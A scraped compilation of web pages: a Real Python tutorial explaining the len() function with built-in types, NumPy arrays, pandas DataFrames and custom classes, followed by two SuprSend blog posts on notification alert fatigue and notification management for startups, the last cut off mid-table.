Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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https://realpython.com/len-python-function/ | Using the len() Function in Python – Real Python Start Here Learn Python Python Tutorials → In-depth articles and video courses Learning Paths → Guided study plans for accelerated learning Quizzes & Exercises → Check your learning progress Browse Topics → Focus on a specific area or skill level Community Chat → Learn with other Pythonistas Office Hours → Live Q&A calls with Python experts Podcast → Hear what’s new in the world of Python Books → Round out your knowledge and learn offline Reference → Concise definitions for common Python terms Code Mentor → Beta Personalized code assistance & learning tools Unlock All Content → More Learner Stories Python Newsletter Python Job Board Meet the Team Become a Tutorial Writer Become a Video Instructor Search / Join Sign‑In — FREE Email Series — 🐍 Python Tricks 💌 Get Python Tricks » 🔒 No spam. Unsubscribe any time. Browse Topics Guided Learning Paths Basics Intermediate Advanced ai algorithms api best-practices career community databases data-science data-structures data-viz devops django docker editors flask front-end gamedev gui machine-learning news numpy projects python stdlib testing tools web-dev web-scraping Table of Contents Getting Started With Python’s len() Using len() With Built-in Sequences Using len() With Built-in Collections Exploring len() With Other Built-in Data Types Exploring len() Further With Some Examples Verifying the Length of a User Input Ending a Loop Based on the Length of an Object Finding the Index of the Last Item of a Sequence Splitting a List Into Two Halves Using the len() Function With Third-Party Libraries NumPy’s ndarray Pandas’ DataFrame Using len() on User-Defined Classes Conclusion Frequently Asked Questions Mark as Completed Share Recommended Video Course Python's len() Function Using the len() Function in Python by Stephen Gruppetta Reading time estimate 25m basics python Mark as Completed Share Table of Contents Getting Started With Python’s len() Using len() With Built-in Sequences Using len() With Built-in Collections Exploring len() With Other Built-in Data Types Exploring len() Further With Some Examples Verifying the Length of a User Input Ending a Loop Based on the Length of an Object Finding the Index of the Last Item of a Sequence Splitting a List Into Two Halves Using the len() Function With Third-Party Libraries NumPy’s ndarray Pandas’ DataFrame Using len() on User-Defined Classes Conclusion Frequently Asked Questions Remove ads Watch Now This tutorial has a related video course created by the Real Python team. Watch it together with the written tutorial to deepen your understanding: Python's len() Function The len() function in Python is a powerful and efficient tool used to determine the number of items in objects, such as sequences or collections. You can use len() with various data types, including strings, lists, dictionaries, and third-party types like NumPy arrays and pandas DataFrames. Understanding how len() works with different data types helps you write more efficient and concise Python code. Using len() in Python is straightforward for built-in types, but you can extend it to your custom classes by implementing the .__len__() method. This allows you to customize what length means for your objects. For example, with pandas DataFrames, len() returns the number of rows. Mastering len() not only enhances your grasp of Python’s data structures but also empowers you to craft more robust and adaptable programs. By the end of this tutorial, you’ll understand that: The len() function in Python returns the number of items in an object, such as strings, lists, or dictionaries. To get the length of a string in Python, you use len() with the string as an argument, like len("example") . To find the length of a list in Python, you pass the list to len() , like len([1, 2, 3]) . The len() function operates in constant time, O(1) , as it accesses a length attribute in most cases. In this tutorial, you’ll learn when to use the len() Python function and how to use it effectively. You’ll discover which built-in data types are valid arguments for len() and which ones you can’t use. You’ll also learn how to use len() with third-party types like ndarray in NumPy and DataFrame in pandas , and with your own classes. Free Bonus: Click here to get a Python Cheat Sheet and learn the basics of Python 3, like working with data types, dictionaries, lists, and Python functions. Getting Started With Python’s len() The function len() is one of Python’s built-in functions . It returns the length of an object. For example, it can return the number of items in a list. You can use the function with many different data types. However, not all data types are valid arguments for len() . You can start by looking at the help for this function: Python >>> help ( len ) Help on built-in function len in module builtins: len(obj, /) Return the number of items in a container. The function takes an object as an argument and returns the length of that object. The documentation for len() goes a bit further: Return the length (the number of items) of an object. The argument may be a sequence (such as a string, bytes, tuple, list, or range) or a collection (such as a dictionary, set, or frozen set). ( Source ) When you use built-in data types and many third-party types with len() , the function doesn’t need to iterate through the data structure. The length of a container object is stored as an attribute of the object. The value of this attribute is modified each time items are added to or removed from the data structure, and len() returns the value of the length attribute. This ensures that len() works efficiently. In the following sections, you’ll learn about how to use len() with sequences and collections. You’ll also learn about some data types that you cannot use as arguments for the len() Python function. Remove ads Using len() With Built-in Sequences A sequence is a container with ordered items. Lists, tuples , and strings are three of the basic built-in sequences in Python. You can find the length of a sequence by calling len() : Python >>> greeting = "Good Day!" >>> len ( greeting ) 9 >>> office_days = [ "Tuesday" , "Thursday" , "Friday" ] >>> len ( office_days ) 3 >>> london_coordinates = ( 51.50722 , - 0.1275 ) >>> len ( london_coordinates ) 2 When finding the length of the string greeting , the list office_days , and the tuple london_coordinates , you use len() in the same manner. All three data types are valid arguments for len() . The function len() always returns an integer as it’s counting the number of items in the object that you pass to it. The function returns 0 if the argument is an empty sequence: Python >>> len ( "" ) 0 >>> len ([]) 0 >>> len (()) 0 In the examples above, you find the length of an empty string, an empty list, and an empty tuple. The function returns 0 in each case. A range object is also a sequence that you can create using range() . A range object doesn’t store all the values but generates them when they’re needed. However, you can still find the length of a range object using len() : Python >>> len ( range ( 1 , 20 , 2 )) 10 This range of numbers includes the integers from 1 to 19 with increments of 2 . The length of a range object can be determined from the start, stop, and step values. In this section, you’ve used the len() Python function with strings, lists, tuples, and range objects. However, you can also use the function with any other built-in sequence. Using len() With Built-in Collections At some point, you may need to find the number of unique items in a list or another sequence. You can use sets and len() to achieve this: Python >>> import random >>> numbers = [ random . randint ( 1 , 20 ) for _ in range ( 20 )] >>> numbers [3, 8, 19, 1, 17, 14, 6, 19, 14, 7, 6, 1, 17, 10, 8, 14, 17, 10, 2, 5] >>> unique_numbers = set ( numbers ) >>> unique_numbers {1, 2, 3, 5, 6, 7, 8, 10, 14, 17, 19} >>> len ( unique_numbers ) 11 You generate the list numbers using a list comprehension , and it contains twenty random numbers ranging between 1 and 20 . The output will be different each time the code runs since you’re generating random numbers. In this particular run, there are eleven unique numbers in the list of twenty randomly generated numbers. Another built-in data type that you’ll use often is the dictionary . In a dictionary, each item consists of a key-value pair. When you use a dictionary as an argument for len() , the function returns the number of items in the dictionary: Python >>> len ({ "James" : 10 , "Mary" : 12 , "Robert" : 11 }) 3 >>> len ({}) 0 The output from the first example shows that there are three key-value pairs in this dictionary. As was the case with sequences, len() will return 0 when the argument is either an empty dictionary or an empty set. This leads to empty dictionaries and empty sets being falsy. Exploring len() With Other Built-in Data Types You can’t use all built-in data types as arguments for len() . For data types that don’t store more than one item within them, the concept of length isn’t relevant. This is the case with numbers and Boolean types: Python >>> len ( 5 ) Traceback (most recent call last): ... TypeError : object of type 'int' has no len() >>> len ( 5.5 ) Traceback (most recent call last): ... TypeError : object of type 'float' has no len() >>> len ( True ) Traceback (most recent call last): ... TypeError : object of type 'bool' has no len() >>> len ( 5 + 2 j ) Traceback (most recent call last): ... TypeError : object of type 'complex' has no len() The integer, float , Boolean , and complex types are examples of built-in data types that you can’t use with len() . The function raises a TypeError when the argument is an object of a data type that doesn’t have a length. You can also explore whether it’s possible to use iterators and generators as arguments for len() : Python >>> import random >>> numbers = [ random . randint ( 1 , 20 ) for _ in range ( 20 )] >>> len ( numbers ) 20 >>> numbers_iterator = iter ( numbers ) >>> len ( numbers_iterator ) Traceback (most recent call last): ... TypeError : object of type 'list_iterator' has no len() >>> numbers_generator = ( random . randint ( 1 , 20 ) for _ in range ( 20 )) >>> len ( numbers_generator ) Traceback (most recent call last): ... TypeError : object of type 'generator' has no len() You’ve already seen that a list has a length, meaning you can use it as an argument in len() . You create an iterator from the list using the built-in function iter() . In an iterator, each item is fetched whenever it’s required, such as when the function next() is used or in a loop. However, you can’t use an iterator in len() . You get a TypeError when you try to use an iterator as an argument for len() . As the iterator fetches each item as and when it’s needed, the only way to measure its length is to exhaust the iterator. An iterator can also be infinite, such as the iterator returned by itertools.cycle() , and therefore its length can’t be defined. You can’t use generators with len() for the same reason. The length of these objects can’t be measured without using them up. Remove ads Exploring len() Further With Some Examples In this section, you’ll learn about some common use cases for len() . These examples will help you understand better when to use this function and how to use it effectively. In some of the examples, you’ll also see cases where len() is a possible solution but there may be more Pythonic ways of achieving the same output. Verifying the Length of a User Input A common use case of len() is to verify the length of a sequence input by a user: Python username.py username = input ( "Choose a username: [4-10 characters] " ) if 4 <= len ( username ) <= 10 : print ( f "Thank you. The username { username } is valid" ) else : print ( "The username must be between 4 and 10 characters long" ) In this example, you use an if statement to check if the integer returned by len() is greater than or equal to 4 and less than or equal to 10 . You can run this script and you’ll get an output similar to the one below: Shell $ python username.py Choose a username: [4-10 characters] stephen_g Thank you. The username stephen_g is valid The username is nine characters long in this case, so the condition in the if statement evaluates to True . You can run the script again and input an invalid username: Shell $ python username.py Choose a username: [4-10 characters] sg The username must be between 4 and 10 characters long In this case, len(username) returns 2 , and the condition in the if statement evaluates to False . Ending a Loop Based on the Length of an Object You’ll use len() if you need to check when the length of a mutable sequence, such as a list, reaches a specific number. In the following example, you ask the user to enter three username options, which you store in a list: Python username.py usernames = [] print ( "Enter three options for your username" ) while len ( usernames ) < 3 : username = input ( "Choose a username: [4-10 characters] " ) if 4 <= len ( username ) <= 10 : print ( f "Thank you. The username { username } is valid" ) usernames . append ( username ) else : print ( "The username must be between 4 and 10 characters long" ) print ( usernames ) You’re now using the result from len() in the while statement. If the user enters an invalid username, you don’t keep the input. When the user enters a valid string, you append it to the list usernames . The loop repeats until there are three items in the list. You could even use len() to check when a sequence is empty: Python >>> colors = [ "red" , "green" , "blue" , "yellow" , "pink" ] >>> while len ( colors ) > 0 : ... print ( f "The next color is { colors . pop ( 0 ) } " ) ... The next color is red The next color is green The next color is blue The next color is yellow The next color is pink You use the list method .pop() to remove the first item from the list in each iteration until the list is empty. If you’re using this method on large lists, you should remove items from the end of the list as this is more efficient. You can also use the deque data type from the collections built-in module, which allows you to pop from the left efficiently. There’s a more Pythonic way of achieving the same output by using the truthiness of sequences: Python >>> colors = [ "red" , "green" , "blue" , "yellow" , "pink" ] >>> while colors : ... print ( f "The next color is { colors . pop ( 0 ) } " ) ... The next color is red The next color is green The next color is blue The next color is yellow The next color is pink An empty list is falsy. This means that the while statement interprets an empty list as False . A non-empty list is truthy, and the while statement treats it as True . The value returned by len() determines the truthiness of a sequence. A sequence is truthy when len() returns any non-zero integer and falsy when len() returns 0 . Remove ads Finding the Index of the Last Item of a Sequence Imagine you want to generate a sequence of random numbers in the range 1 to 10 and you’d like to keep adding numbers to the sequence until the sum of all the numbers exceeds 21 . The following code creates an empty list and uses a while loop to populate the list: Python >>> import random >>> numbers = [] >>> while sum ( numbers ) <= 21 : ... numbers . append ( random . randint ( 1 , 10 )) ... >>> numbers [3, 10, 4, 7] >>> numbers [ len ( numbers ) - 1 ] 7 >>> numbers [ - 1 ] # A more Pythonic way to retrieve the last item 7 >>> numbers . pop ( len ( numbers ) - 1 ) # You can use numbers.pop(-1) or numbers.pop() 7 >>> numbers [3, 10, 4] You append random numbers to the list until the sum exceeds 21 . The output you’ll get will vary as you’re generating random numbers. To display the last number in the list, you use len(numbers) and subtract 1 from it since the first index of the list is 0 . Indexing in Python allows you to use the index -1 to obtain the last item in a list. Therefore, although you can use len() in this case, you don’t need to. You want to remove the last number in the list so that the sum of all numbers in the list doesn’t exceed 21 . You use len() again to work out the index of the last item in the list, which you use as an argument for the list method .pop() . Even in this instance, you could use -1 as an argument for .pop() to remove the last item from the list and return it. As a final option, you could leave out the argument altogether as the default is to pop the last element. Splitting a List Into Two Halves If you need to split a sequence into two halves, you’ll need to use the index that represents the midpoint of the sequence. You can use len() to find this value. In the following example, you’ll create a list of random numbers and then split it into two smaller lists: Python >>> import random >>> numbers = [ random . randint ( 1 , 10 ) for _ in range ( 10 )] >>> numbers [9, 1, 1, 2, 8, 10, 8, 6, 8, 5] >>> first_half = numbers [: len ( numbers ) // 2 ] >>> second_half = numbers [ len ( numbers ) // 2 :] >>> first_half [9, 1, 1, 2, 8] >>> second_half [10, 8, 6, 8, 5] In the assignment statement where you define first_half , you use the slice that represents the items from the beginning of numbers up to the midpoint. You can work out what the slice represents by breaking down the steps you use in the slice expression: First, len(numbers) returns the integer 10 . Next, 10 // 2 returns the integer 5 as you use the integer division operator. Finally, 0:5 is a slice that represents the first five items, which have indices 0 , 1 , 2 , 3 , and 4 . Note that the endpoint is excluded. In the next assignment, where you define second_half , you use the same expression in the slice. However, in this case, the integer 5 represents the start of the range. The slice is now 5: to represent the items from index 5 up to the end of the list. If your original list contains an odd number of items, then half of its length will no longer be a whole number. When you use integer division, you obtain the floor of the number. The list first_half will now contain one less item than second_half . You can try this out by creating an initial list of eleven numbers instead of ten. The resulting lists will no longer be halves, but they’ll represent the closest alternative to splitting an odd sequence. Using the len() Function With Third-Party Libraries You can also use Python’s len() with several custom data types from third-party libraries. In the last section of this tutorial, you’ll learn how the behavior of len() depends on the class definition. In this section, you’ll look at examples of using len() with data types from two popular third-party libraries. NumPy’s ndarray The NumPy module is the cornerstone of all quantitative applications of programming in Python. The module introduces the numpy.ndarray data type. This data type, along with functions within NumPy, is ideally suited for numerical computations and is the building block for data types in other modules. Before you can start using NumPy, you’ll need to install the library. You can use Python’s standard package manager, pip , and run the following command in the console: Shell $ python -m pip install numpy You’ve installed NumPy, and now you can create a NumPy array from a list and use len() on the array: Python >>> import numpy as np >>> numbers = np . array ([ 4 , 7 , 9 , 23 , 10 , 6 ]) >>> type ( numbers ) <class 'numpy.ndarray'> >>> len ( numbers ) 6 The NumPy function np.array() creates an object of type numpy.ndarray from the list you pass as an argument. However, NumPy arrays can have more than one dimension. You can create a two-dimensional array by converting a list of lists into an array: Python >>> import numpy as np >>> numbers = [ [11, 1, 10, 10, 15], [14, 9, 16, 4, 4], [28, 1, 19, 7, 7], ] >>> numbers_array = np . array ( numbers ) >>> numbers_array array([[11, 1, 10, 10, 15], [14, 9, 16, 4, 4], [28, 1, 19, 7, 7]) >>> len ( numbers_array ) 3 >>> numbers_array . shape (3, 5) >>> len ( numbers_array . shape ) 2 >>> numbers_array . ndim 2 The list numbers consists of three lists, each containing five integers. When you use this list of lists to create a NumPy array, the result is an array with three rows and five columns. The function returns the number of rows in the array when you pass this two-dimensional array as an argument in len() . To get the size of both dimensions, you use the property .shape , which is a tuple showing the number of rows and columns. You obtain the number of dimensions of a NumPy array either by using .shape and len() or by using the property .ndim . In general, when you have an array with any number of dimensions, len() returns the size of the first dimension: Python >>> import numpy as np >>> array_3d = np . random . randint ( 1 , 20 , [ 2 , 3 , 4 ]) >>> array_3d array([[[14, 9, 15, 14], [17, 11, 10, 5], [18, 1, 3, 12]], [[ 1, 5, 6, 10], [ 6, 3, 1, 12], [ 1, 4, 4, 17]]]) >>> array_3d . shape (2, 3, 4) >>> len ( array_3d ) 2 In this example, you create a three-dimensional array with the shape (2, 3, 4) where each element is a random integer between 1 and 20 . You use the function np.random.randint() to create an array this time. The function len() returns 2 , which is the size of the first dimension. Check out NumPy Tutorial: Your First Steps Into Data Science in Python to learn more about using NumPy arrays. Remove ads Pandas’ DataFrame The DataFrame type in the pandas library is another data type that is used extensively in many applications. Before you can use pandas, you’ll need to install it by using the following command in the console: Shell $ python -m pip install pandas You’ve installed the pandas package, and now you can create a DataFrame from a dictionary: Python >>> import pandas as pd >>> marks = { "Robert": [60, 75, 90], "Mary": [78, 55, 87], "Kate": [47, 96, 85], "John": [68, 88, 69], } >>> marks_df = pd . DataFrame ( marks , index = [ "Physics" , "Math" , "English" ]) >>> marks_df Robert Mary Kate John Physics 60 78 47 68 Math 75 55 96 88 English 90 87 85 69 >>> len ( marks_df ) 3 >>> marks_df . shape (3, 4) The dictionary’s keys are strings representing the names of students in a class. The value of each key is a list with the marks for three subjects. When you create a DataFrame from this dictionary, you define the index using a list containing the subject names. The DataFrame has three rows and four columns. The function len() returns the number of rows in the DataFrame. The DataFrame type also has a .shape property, which you can use to show that the first dimension of a DataFrame represents the number of rows. You’ve seen how len() works with a number of built-in data types and also with some data types from third-party modules. In the following section, you’ll learn how to define any class so that it’s usable as an argument for the len() Python function. You can explore the pandas module further in The Pandas DataFrame: Make Working With Data Delightful . Using len() on User-Defined Classes When you define a class, one of the special methods you can define is .__len__() . These special methods are called dunder methods as they have double underscores at the beginning and end of the method names. Python’s built-in len() function calls its argument’s .__len__() method. In the previous section, you’ve seen how len() behaves when the argument is a pandas DataFrame object. This behavior is determined by the .__len__() method for the DataFrame class, which you can see in the module’s source code in pandas.core.frame : Python class DataFrame ( NDFrame , OpsMixin ): # ... def __len__ ( self ) -> int : """ Returns length of info axis, but here we use the index. """ return len ( self . index ) This method returns the length of the DataFrame’s .index property using len() . This dunder method defines the length of a DataFrame to be equal to the number of rows in the DataFrame as represented by .index . You can explore the .__len__() dunder method further with the following toy example. You’ll define a class named YString . This data type is based on the built-in string class, but objects of type YString give the letter Y more importance than all the other letters: Python ystring.py class YString ( str ): def __init__ ( self , text ): super () . __init__ () def __str__ ( self ): """Display string as lowercase except for Ys that are uppercase""" return self . lower () . replace ( "y" , "Y" ) def __len__ ( self ): """Returns the number of Ys in the string""" return self . lower () . count ( "y" ) The .__init__() method of YString initializes the object using the .__init__() method of the parent str class. You achieve this using the function super() . The .__str__() method defines the way the object is displayed. The functions str() , print() , and format() all call this method. For this class, you represent the object as an all-lowercase string with the exception of the letter Y, which you display as uppercase. For this toy class, you define the object’s length as the number of occurrences of the letter Y in the string. Therefore, the .__len__() method returns the count of the letter Y. You can create an object of class YString and find its length. The module name used for the example above is ystring.py : Python >>> from ystring import YString >>> message = YString ( "Real Python? Yes! Start reading today to learn Python" ) >>> print ( message ) real pYthon? Yes! start reading todaY to learn pYthon >>> len ( message ) # Returns number of Ys in message 4 You create an object of type YString from a string and show the representation of the object using print() . You then use the object message as an argument for len() . This calls the class’s .__len__() method, and the result is the number of occurrences of the letter Y in message . In this case, the letter Y appears four times. The YString class is not a very useful one, but it helps illustrate how you can customize the behavior of len() to suit your needs. The .__len__() method must return a non-negative integer. Otherwise, it raises an error. Another special method is the .__bool__() method, which determines how an object can be converted to a Boolean. The .__bool__() dunder method is not normally defined for sequences and collections. In these cases, the .__len__() method determines the truthiness of an object: Python >>> from ystring import YString >>> first_test = "tomorrow" >>> second_test = "today" >>> bool ( first_test ) True >>> bool ( YString ( first_test )) False >>> bool ( second_test ) True >>> bool ( YString ( second_test )) True The variable first_string doesn’t have a Y in it. As shown by the output from bool() , the string is truthy as it’s non-empty. However, when you create an object of type YString from this string, the new object is falsy as there are no Y letters in the string. Therefore, len() returns 0 . In contrast, the variable second_string does include the letter Y, and so both the string and the object of type YString are truthy. You can read more about using object-oriented programming and defining classes in Object-Oriented Programming (OOP) in Python . Remove ads Conclusion You’ve explored how to use len() to determine the number of items in sequences, collections, and other data types that hold several items at a time, such as NumPy arrays and pandas DataFrames. The len() Python function is a key tool in many programs. Some of its uses are straightforward, but there’s a lot more to this function than its most basic use cases, as you’ve seen in this tutorial. Knowing when you can use this function and how to use it effectively will help you write neater code. In this tutorial, you’ve learned how to: Find the length of built-in data types using len() Use len() with third-party data types Provide support for len() with user-defined classes You now have a good foundation for understanding the len() function. Learning more about len() helps you understand the differences between data types better. You’re ready to use len() in your algorithms and to improve the functionality of some of your class definitions by enhancing them with the .__len__() method. Frequently Asked Questions Now that you have some experience with the len() function in Python, you can use the questions and answers below to check your understanding and recap what you’ve learned. These FAQs sum up the most important concepts you’ve covered in this tutorial. Click the Show/Hide toggle beside each question to reveal the answer. What does len() do in Python? Show/Hide The len() function in Python is a built-in function that returns the length of an object. It provides the number of items in a container, including sequences like strings, lists, and tuples or collections like dictionaries and sets. The function is efficient because it typically retrieves the length from an attribute stored within the object. How can I use len() with different data types in Python? Show/Hide You can use len() with several built-in data types, including strings, lists, tuples, dictionaries, sets, and range objects. Additionally, len() can be used with third-party data types like NumPy arrays and pandas DataFrames. For user-defined classes, you can implement the .__len__() method to define how len() should behave. Why does len() raise a TypeError for some data types? Show/Hide len() raises a TypeError for data types that don’t inherently have a length, such as integers, floats, Booleans, and complex numbers. These types don’t contain multiple items, so the concept of length doesn’t apply to them. How efficient is the len() function in Python? Show/Hide The len() function is generally very efficient because it often returns a precomputed length stored as an attribute of the object. This means that len() can retrieve the length without having to iterate through the entire data structure, making it a constant-time operation, O(1) , for most data types. Can I customize the behavior of len() for my own classes? Show/Hide Yes, you can customize the behavior of len() for your own classes by defining the .__len__() special method. This method should return a non-negative integer representing the length of your custom object. By implementing .__len__() , you allow instances of your class to be used as arguments for the len() function. Mark as Completed Share Watch Now This tutorial has a related video course created by the Real Python team. Watch it together with the written tutorial to deepen your understanding: Python's len() Function 🐍 Python Tricks 💌 Get a short & sweet Python Trick delivered to your inbox every couple of days. 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https://www.suprsend.com/post/alert-fatigue | Understanding and Managing Alert Fatigue Product FEATURES Template Engine Powerful template editors for all channels App Inbox Fully customizable inbox for your app & website Analytics Deep data insights on notification performance Logs Real-time notifications logs for all channels Smart Routing Reach users where they are Branding Seamlessly manage multi-brand customization Workflows Craft complex notification workflows Bifrost Run notifications natively on data warehouse Preferences Develop user focused notifications Integrations Integrate any channel and provider within mins Solutions BY USECASES Transactional Real-time alerts like authentication, activity updates Batching & Digest Aggregate multiple alerts into one Collaboration & Action Alerts on cross-user activity Scheduled Notifications One-time or recurring alerts like reminders Multi-tenant Alerts tailored to your customer's preferences Announcement / Newsletters Feature releases, achievements, product & policy updates Pricing Docs Customers Blog Login Get Started For Free Login Sign up SMS Understanding and Managing Alert Fatigue Anjali Arya • February 5, 2025 TABLE OF CONTENTS With 85% of businesses using push notifications and a 97% increase in notification volume since 2020, the communication overload has created a new challenge: alert fatigue . This issue impacts user engagement, retention, and overall satisfaction. Let’s dive deeper into alert fatigue, its causes, and actionable strategies to tackle this growing problem. What Is Alert Fatigue? Alert fatigue happens when users are overwhelmed by frequent or irrelevant notifications, leading to desensitization, reduced responsiveness, or outright disengagement. The problem often stems from too many alerts flooding users across multiple channels , with the same notifications being replicated through email, SMS, app push, and more. When marketing notifications, product updates, and system alerts arrive simultaneously, they compete for attention, leading to frustration and diminishing communication effectiveness. This issue is exacerbated by several factors: Lack of a centralized notification system: Marketing teams, product lines, and other departments often operate in silos, sending notifications independently without visibility into what users are already receiving. Channel overload: Critical and non-critical alerts are often sent to the same channels, overwhelming users and creating noise. Absence of user preferences: Users often lack control over which notifications they receive and on which channels. This prevents them from prioritizing important alerts or opt for less intrusive delivery methods for lower-priority messages. Let’s check some of the issues in detail. Too Many Alerts Excessive notifications place a cognitive burden on users, disrupting focus and productivity. Research shows that frequent notifications increase cognitive load by 37% and reduce task completion efficiency by 28% . Users who receive more than 10 notifications per hour often stop engaging, with response rates dropping by 52% . Businesses must ensure they’re sending fewer, high-quality notifications to avoid overwhelming their audience. Irrelevant Alerts Trust is eroded when users receive notifications that don’t match their interests. Data shows that 60% of users unsubscribe from irrelevant alerts, and 47% disable notifications entirely within the first week if they find them unhelpful. Businesses should personalize notifications by aligning them with user preferences, behavior, and context. This ensures messages resonate and provide value. Frequent or Infrequent Updates Timing is a critical factor. Poorly timed notifications reduce engagement by 43% , while frequent updates often frustrate users. Infrequent alerts, on the other hand, can cause businesses to miss critical opportunities to engage their audience. Businesses can determine the ideal times for sending notifications by analyzing user behavior and activity. This not only respects user time but also improves interaction rates. Lack of Contextual Awareness or Preferences Generic notifications often feel intrusive and overwhelming. Data shows that 72% of users feel stressed by notifications that lack contextual relevance. However, only 15% of businesses incorporate contextual awareness in their notification strategies. Businesses can improve engagement by adapting notifications to reflect user preferences, current location, or activity. The Rise of Notification Fatigue How Did We Get Here? The surge in smartphone adoption, the proliferation of apps, and aggressive engagement strategies have fueled notification fatigue. On average, users have 80 apps installed , and 40% of them send regular notifications. This communication overload has turned notifications from a helpful tool into a source of frustration for many users. A Look at the Data The numbers paint a clear picture: 71% of users uninstall apps due to excessive notifications. Push notification open rates have dropped by 31% since 2020. 55% of users identify "notification overwhelm" as their primary reason for taking digital detoxes. Companies lose 38% of engaged users due to poor notification strategies. How to not fall into a pitfall of more notifications = increased engagement? To reduce alert fatigue, businesses must adopt user-centric notification strategies. Below are seven actionable strategies to build more responsible notification systems. Reducing alert fatigue doesn’t mean you must compromise with your notifications. You can also achieve the same by correctly timing your alerts, finding the best time and channel for a particular type of trigger, and batching or reducing frequency of non-critical or marketing alerts. 1. Finding the right channel for your communication: Many companies make the mistake of choosing one or two primary channels and sending all their alerts through them, without considering what type of message is best suited to each channel. However, every channel has its unique strengths in capturing users' attention: Push notifications excel at re-engaging users and bringing them back to the app. SMS is ideal for critical, time-sensitive transactional information, such as OTPs or payment confirmations, where missing the alert could cause significant user inconvenience. Overloading a single channel with all types of notifications can backfire. For example, if users become overwhelmed and unsubscribe, you risk losing a vital communication link altogether. An often-overlooked option is the in-app Inbox for delivering in-product alerts. Inbox provides a less intrusive, persistent way to share important information without distracting the user in real-time. It’s particularly well-suited for updates like promotional offers, product announcements, or system notifications that users can revisit at their convenience. When designing a notification strategy, it’s crucial to: Find the best channel based on the type of message. Use in-app channels for driving not so urgent, in-product actions, allowing users to engage with them when they choose. Diversify communication methods to avoid over-reliance on a single channel, ensuring continuity even if users opt out of one. 2. Timing is Critical Delivering notifications when users are most likely to engage is the key to driving higher interaction rates. Leverage Artificial Intelligence : Analyze user behavior, app usage patterns, and past engagement to predict the optimal notification time. Machine learning models can adapt these predictions over time for more accuracy. Timezone Awareness : It’s crucial to account for local times for global audiences. Nobody wants a promotional offer ping at 3 a.m. Ensure your system respects regional differences with timezone-aware scheduling. 3. Batch Notifications Instead of bombarding users with multiple notifications, consolidate related alerts into a single batch or summary. Smart Bundling : Group notifications based on themes (e.g., all promotional updates in one daily message) or urgency (e.g., multiple low-priority updates in one digest). Dynamic Summaries : Use AI to prioritize critical notifications while deferring less-important updates to summary alerts. This reduces disruption while keeping users informed. 4. Respect User Preferences Allow users to customize their notification experience to foster trust and satisfaction. Granular Control : Let users opt out of specific notification categories, mute channels, or pause notifications during quiet hours. Dynamic Adjustments : Monitor user interactions and recommend tailored settings, such as reducing frequency for users who engage less often. Intelligent Snooze : Introduce a smart “Do Not Disturb” feature that pauses notifications but delivers a summary once snoozing ends. suprsend-preference-management 5. Implement Throttling Mechanisms Throttling prevents oversaturation by limiting the volume and frequency of user notifications. Engagement-Based Thresholds : Analyze user responses to determine when they feel overwhelmed. Prioritize notifications that offer the most value based on these insights. Priority Queues : Sort notifications into tiers (e.g., high, medium, low priority) and send only the most critical alerts during a throttling period. Emergency Overrides : For critical updates, such as security alerts or transactional confirmations, bypass throttling to ensure delivery without delay. 6. Deliver Contextually Relevant Notifications Alert fatigue isn't just about timing—it’s also about relevance. Use contextual cues to ensure users receive notifications that matter. Event-Triggered Alerts : Base notifications on specific user actions or inactions, such as a cart abandonment alert or a payment confirmation. Personalized Messaging : Tailor content to each user’s preferences and behaviors. For instance, recommend products based on past purchases or browsing history. Choosing the Right Notification Infrastructure Solution Building an effective notification strategy requires the right tools. SuprSend offers a robust infrastructure to tackle alert fatigue with features such as: AI-Driven Delivery Optimization : Intelligent scheduling ensures notifications are sent at optimal times. Advanced Personalization : Dynamic content and behavioral analytics help craft user-specific messages. Comprehensive Analytics : Real-time tracking provides actionable insights for improving engagement. Scalable Infrastructure : A reliable platform ensures seamless delivery, even during peak traffic. Developer-Friendly Tools : Simple APIs and SDKs make integration effortless. By leveraging tools like SuprSend , businesses can drive engagement while balancing the timing and frequency of notifications, to reduce alert fatigue. Managing notifications responsibly is key to building long-term user trust and engagement. Share this blog on: Written by: Anjali Arya Product & Analytics, SuprSend Implement a powerful stack for your notifications Get Started For Free Book Demo Company About us Signup Login Integrations Pricing Security Privacy Terms Contact Us Support SuprSend for Startups API Status Sign Up Channels Email SMS Notification Inbox Android Push iOS Push Web Push Xiaomi Push Whatsapp SDK Python SDK Node.js SDK Java SDK Android SDK React Native SDK iOS SDK Flutter SDK Go SDK Resources Documentation Changelog Blogs Write for us SMTP Error Codes SMS Providers Comparisons Email Providers Comparisons SMS Providers Alternatives Join us on Slack We are building a community of developers and product builders from across the globe to make notifications a pleasant experience. © 2025 All rights reserved. SuprStack Inc. By clicking “Accept All Cookies” , you agree to the storing of cookies on your device to enhance site navigation, analyze site usage, and assist in our marketing efforts. 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https://www.suprsend.com/post/suprsend-the-notification-management-platform-built-for-startups | SuprSend - The Notification Management Platform Built for Startups Product FEATURES Template Engine Powerful template editors for all channels App Inbox Fully customizable inbox for your app & website Analytics Deep data insights on notification performance Logs Real-time notifications logs for all channels Smart Routing Reach users where they are Branding Seamlessly manage multi-brand customization Workflows Craft complex notification workflows Bifrost Run notifications natively on data warehouse Preferences Develop user focused notifications Integrations Integrate any channel and provider within mins Solutions BY USECASES Transactional Real-time alerts like authentication, activity updates Batching & Digest Aggregate multiple alerts into one Collaboration & Action Alerts on cross-user activity Scheduled Notifications One-time or recurring alerts like reminders Multi-tenant Alerts tailored to your customer's preferences Announcement / Newsletters Feature releases, achievements, product & policy updates Pricing Docs Customers Blog Login Get Started For Free Login Sign up Notification Infrastructure SuprSend - The Notification Management Platform Built for Startups Nikita Navral • October 8, 2025 TABLE OF CONTENTS Notification management for startups means building a scalable backbone that ensures every product message, whether a password reset or feature update, is delivered reliably, on time, and across every channel. Startups often struggle between speed of launch and system reliability . SuprSend was built to solve exactly that. What Is Notification Management for Startups? Notification management is how your product delivers alerts, updates, and messages across channels - email, SMS, push, in-app, or chat- without reinventing infrastructure. The goal: ensure reliability, personalization, and consistency , while minimizing engineering effort . Core Capabilities Every Startup Needs Capability Why It Matters How SuprSend Solves It Message Orchestration Centralize all workflows - transactional, marketing, or operational - in one place. Visual Workflow Engine lets teams trigger, delay, branch, and retry without code deployments. Multi-Channel Delivery Avoid vendor chaos and ensure reach across all major channels. Single unified API to SendGrid, Twilio, FCM/APNS, WhatsApp, Slack, and more, with automatic failovers. User Preferences & Subscriptions Give users control over how, when, and where they’re notified while ensuring compliance. Hosted Preference Center + SDKs with category, channel, and frequency options prebuilt. Template Management Eliminate HTML in code and enable brand-consistent messaging at scale. WYSIWYG editor with versioning, internationalization, and per-brand customization. Tracking & Analytics Understand performance across every workflow and channel. Unified Logs + Analytics with step-by-step 